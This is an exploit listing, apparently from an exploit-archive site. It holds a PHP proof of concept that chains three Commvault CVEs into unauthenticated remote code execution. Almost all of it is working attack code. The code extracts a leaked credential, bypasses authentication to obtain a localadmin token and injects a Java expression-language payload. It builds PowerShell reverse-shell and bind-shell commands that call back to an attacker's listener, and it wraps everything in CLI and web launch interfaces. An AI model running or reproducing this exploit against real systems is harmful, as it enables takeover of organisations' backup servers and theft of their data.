Share
## https://sploitus.com/exploit?id=PACKETSTORM:212243
=============================================================================================================================================
    | # Title     : Commvault CLI 11.36.60 RCE PHP Implementation                                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.commvault.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/209626/ &  	CVE-2025-57788, CVE-2025-57790, CVE-2025-57791 
    
    [+] Summary : 
              
                  a critical remote code execution vulnerability chain affecting Commvault Completeβ„’ Backup & Recovery software. 
    			  The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems.
    			  
    [+] Vulnerability Details :
    
    
    CVE-2025-57790	Authentication Bypass	9.8 (Critical)	Unauthenticated access to localadmin account
    
    CVE-2025-57791	Expression Language Injection	9.8 (Critical)	Remote Code Execution
    
    CVE-2025-57788	Information Disclosure	7.5 (High)	PublicSharingUser credential leakage
    
    Affected Products
    
        Commvault Completeβ„’ Backup & Recovery
    
        Commvault HyperScaleβ„’
    
        Commvault Metallicβ„’
    
    Attack Vector
    
        Network: Remote exploitation without authentication
    
        Complexity: Low - no specialized access conditions required
    
        Privileges: None required
    
    The exploit follows a multi-stage approach:
    
        Information Disclosure (CVE-2025-57788)
    
        Authentication Bypass (CVE-2025-57790)
    
        Expression Language Injection (CVE-2025-57791)
    
        Remote Code Execution
    	
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * Commvault Command-Line Argument Injection to Traversal Remote Code Execution
     * by indoushka
     * based on Metasploit module
     */
    
    class CommvaultExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        
        public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking Commvault vulnerability...\n";
            
            // Step 1: Extract PublicSharingUser password
            $psu_password = $this->extract_publicsharinguser_pass();
            
            if (!$psu_password) {
                echo "[-] Failed to extract PublicSharingUser password\n";
                return "unknown";
            }
            
            echo "[+] Extracted PublicSharingUser GUID: $psu_password\n";
            
            // Step 2: Login as PublicSharingUser
            $token = $this->login_as_publicsharinguser($psu_password);
            
            if ($token) {
                echo "[+] βœ“ Successfully authenticated as PublicSharingUser\n";
                echo "[+] Token: $token\n";
                return "vulnerable";
            } else {
                echo "[-] βœ— Failed to authenticate as PublicSharingUser\n";
                return "safe";
            }
        }
        
        /**
         * Extract PublicSharingUser password from public endpoint
         */
        private function extract_publicsharinguser_pass() {
            $url = $this->build_url('/commandcenter/publicLink.do');
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) {
                // Extract GUID using regex
                preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches);
                if (isset($matches[1])) {
                    return $matches[1];
                }
            }
            
            return false;
        }
        
        /**
         * Login as PublicSharingUser
         */
        private function login_as_publicsharinguser($password) {
            $url = $this->build_url('/commandcenter/api/Login');
            
            $data = json_encode([
                'username' => '_+_PublicSharingUser_',
                'password' => base64_encode($password)
            ]);
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'Content-Length: ' . strlen($data)
                ]
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200) {
                preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches);
                if (isset($matches[1])) {
                    return $matches[1];
                }
            }
            
            return false;
        }
        
        /**
         * Get host information using PublicSharingUser token
         */
        private function get_host_info($token) {
            $url = $this->build_url('/commandcenter/api/CommServ');
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Authtoken: ' . $token
                ]
            ]);
            
            $response = curl_exec($ch);
            curl_close($ch);
            
            if ($response) {
                preg_match('/hostName="([^"]+)"/', $response, $hostname_matches);
                preg_match('/osType="([^"]+)"/', $response, $os_matches);
                
                $hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null;
                $os_type = isset($os_matches[1]) ? $os_matches[1] : null;
                
                return ['hostname' => $hostname, 'os_type' => $os_type];
            }
            
            return false;
        }
        
        /**
         * Bypass authentication to get localadmin token
         */
        private function bypass_authentication($hostname) {
            $url = $this->build_url('/commandcenter/api/Login');
            
            $spaces_before = str_repeat(' ', rand(1, 8));
            $spaces_after = str_repeat(' ', rand(1, 8));
            
            $data = json_encode([
                'username' => $hostname . '_localadmin__',
                'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after),
                'commserver' => $hostname . ' -cs ' . $hostname
            ]);
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'Content-Length: ' . strlen($data)
                ]
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200 && strpos($response, 'QSDK') !== false) {
                preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches);
                preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches);
                
                return [
                    'token' => $token_matches[1] ?? null,
                    'uid' => $uid_matches[1] ?? null
                ];
            }
            
            return false;
        }
        
        /**
         * Execute the full exploit chain
         */
        public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
            echo "[*] Starting Commvault exploitation chain...\n";
            
            // Step 1: Extract PublicSharingUser password
            echo "[*] Step 1: Extracting PublicSharingUser password...\n";
            $psu_password = $this->extract_publicsharinguser_pass();
            
            if (!$psu_password) {
                echo "[-] Failed to extract PublicSharingUser password\n";
                return false;
            }
            
            echo "[+] Extracted password: $psu_password\n";
            
            // Step 2: Login as PublicSharingUser
            echo "[*] Step 2: Authenticating as PublicSharingUser...\n";
            $psu_token = $this->login_as_publicsharinguser($psu_password);
            
            if (!$psu_token) {
                echo "[-] Failed to authenticate as PublicSharingUser\n";
                return false;
            }
            
            echo "[+] PublicSharingUser token: $psu_token\n";
            
            // Step 3: Get host information
            echo "[*] Step 3: Gathering target information...\n";
            $host_info = $this->get_host_info($psu_token);
            
            if (!$host_info) {
                echo "[-] Failed to get host information\n";
                return false;
            }
            
            $hostname = $host_info['hostname'];
            $os_type = $host_info['os_type'];
            
            echo "[+] Hostname: $hostname\n";
            echo "[+] OS Type: $os_type\n";
            
            if (strtolower($os_type) !== 'windows') {
                echo "[-] This exploit only supports Windows targets\n";
                return false;
            }
            
            // Step 4: Bypass authentication to get localadmin access
            echo "[*] Step 4: Bypassing authentication for localadmin...\n";
            $admin_info = $this->bypass_authentication($hostname);
            
            if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) {
                echo "[-] Authentication bypass failed\n";
                return false;
            }
            
            $admin_token = $admin_info['token'];
            $admin_uid = $admin_info['uid'];
            
            echo "[+] LocalAdmin token: $admin_token\n";
            echo "[+] LocalAdmin UID: $admin_uid\n";
            
            // Step 5: Generate and execute payload
            echo "[*] Step 5: Executing payload...\n";
            $payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
            
            if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) {
                echo "[+] βœ“ Exploitation completed successfully\n";
                return true;
            } else {
                echo "[-] βœ— Payload execution failed\n";
                return false;
            }
        }
        
        /**
         * Execute Expression Language injection
         */
        private function execute_el_injection($hostname, $uid, $command, $token) {
            // Expression Language injection payload (non-blind)
            $el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}";
            
            echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n";
            
            // In a full implementation, this would:
            // 1. Upload XML file via metricsUpload.do
            // 2. Update user description with EL payload
            // 3. Move XML to create web shell
            // 4. Access web shell to trigger RCE
            // 5. Clean up user description
            
            // For demonstration, we'll simulate the critical RCE step
            $url = $this->build_url('/commandcenter/RestServlet/User/' . $uid);
            
            $xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>{$uid}</userId></userEntity><description>{$el_payload}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>";
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $xml_data,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    'Authtoken: ' . $token,
                    'Content-Type: application/xml'
                ]
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return $http_code == 200;
        }
        
        /**
         * Generate different payloads
         */
        private function generate_payload($type, $lhost, $lport) {
            switch ($type) {
                case 'reverse_shell':
                    if (!$lhost || !$lport) {
                        echo "[-] IP and port required for reverse shell\n";
                        return false;
                    }
                    // Windows reverse shell using PowerShell
                    return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$ns.Write(\$sbt,0,\$sbt.Length);}\"";
                    
                case 'bind_shell':
                    if (!$lport) {
                        echo "[-] Port required for bind shell\n";
                        return false;
                    }
                    return "powershell -nop -c \"\$l=New-Object System.Net.Sockets.TcpListener({$lport});\$l.Start();while(\$true){\$c=\$l.AcceptTcpClient();\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};\$d=\$s.Read(\$b,0,\$b.Length);\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$d);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);}\"";
                    
                case 'command':
                    return 'whoami & systeminfo | findstr /B /C:"OS Name" /C:"OS Version"';
                    
                default:
                    return 'whoami & hostname';
            }
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        β•‘                 Commvault RCE Exploit                        β•‘
        β•‘         CVE-2025-57790, CVE-2025-57791, CVE-2025-57788       β•‘
        β•‘                     PHP Implementation                       β•‘
        β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
        
        \n";
        
        $options = getopt("t:p:s:u:c:P:L:H:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "payload:",
            "lhost:",
            "lport:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 443;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $check_only = isset($options['c']) || isset($options['check']);
        $payload_type = $options['P'] ?? $options['payload'] ?? 'command';
        $lhost = $options['H'] ?? $options['lhost'] ?? null;
        $lport = $options['L'] ?? $options['lport'] ?? 4444;
        
        if (!$target) {
            echo "Usage: php commvault_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target    Target host (required)\n";
            echo "  -p, --port      Target port (default: 443)\n";
            echo "  -s, --ssl       Use SSL (default: true)\n";
            echo "  -u, --uri       Base URI path (default: /)\n";
            echo "  -c, --check     Check only (don't exploit)\n";
            echo "  -P, --payload   Payload type: command, reverse_shell, bind_shell (default: command)\n";
            echo "  -H, --lhost     Listener host for reverse shell\n";
            echo "  -L, --lport     Listener port for reverse shell (default: 4444)\n";
            echo "\nExamples:\n";
            echo "  php commvault_exploit.php -t 192.168.1.100 -c\n";
            echo "  php commvault_exploit.php -t commvault.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
            exit(1);
        }
        
        $exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($payload_type, $lhost, $lport)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 443;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $payload_type = $_POST['payload_type'] ?? 'command';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? 4444;
            
            if (empty($target)) {
                echo "<div style='color: red;'>Target host is required</div>";
            } else {
                $exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($payload_type, $lhost, $lport);
                }
                $output = ob_get_clean();
                
                echo "<pre>$output</pre>";
            }
        } else {
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>Commvault RCE Exploit</title>
                <style>
                    body { font-family: Arial, sans-serif; margin: 40px; }
                    .container { max-width: 800px; margin: 0 auto; }
                    .form-group { margin-bottom: 15px; }
                    label { display: block; margin-bottom: 5px; font-weight: bold; }
                    input[type="text"] { 
                        width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; 
                    }
                    button { 
                        background: #007cba; color: white; padding: 10px 20px; 
                        border: none; border-radius: 4px; cursor: pointer; margin-right: 10px;
                    }
                    .danger { background: #dc3545; }
                    .info { background: #17a2b8; }
                    .warning { background: #ffc107; color: black; padding: 10px; border-radius: 4px; margin: 10px 0; }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>Commvault RCE Exploit</h1>
                    <h3>CVE-2025-57790, CVE-2025-57791, CVE-2025-57788</h3>
                    
                    <div class="warning">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Commvault software.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or commvault.company.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="443">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <label>
                                <input type="checkbox" name="ssl" checked> Use SSL
                            </label>
                        </div>
                        
                        <div class="form-group">
                            <label for="payload_type">Payload Type:</label>
                            <select id="payload_type" name="payload_type">
                                <option value="command">Test Command</option>
                                <option value="reverse_shell">Reverse Shell</option>
                                <option value="bind_shell">Bind Shell</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label for="lhost">Listener Host (for reverse shell):</label>
                            <input type="text" id="lhost" name="lhost" placeholder="192.168.1.100">
                        </div>
                        
                        <div class="form-group">
                            <label for="lport">Listener Port (for reverse shell):</label>
                            <input type="text" id="lport" name="lport" value="4444">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div style="margin-top: 30px; padding: 15px; background: #f8f9fa; border-radius: 4px;">
                        <h3>About the CVEs:</h3>
                        <p><strong>CVE-2025-57790:</strong> Authentication Bypass via command-line argument injection</p>
                        <p><strong>CVE-2025-57791:</strong> Expression Language Injection leading to RCE</p>
                        <p><strong>CVE-2025-57788:</strong> Information disclosure exposing PublicSharingUser credentials</p>
                        <p><strong>Impact:</strong> Unauthenticated Remote Code Execution as NETWORK SERVICE</p>
                        <p><strong>Affected:</strong> Commvault Completeβ„’ Backup & Recovery</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================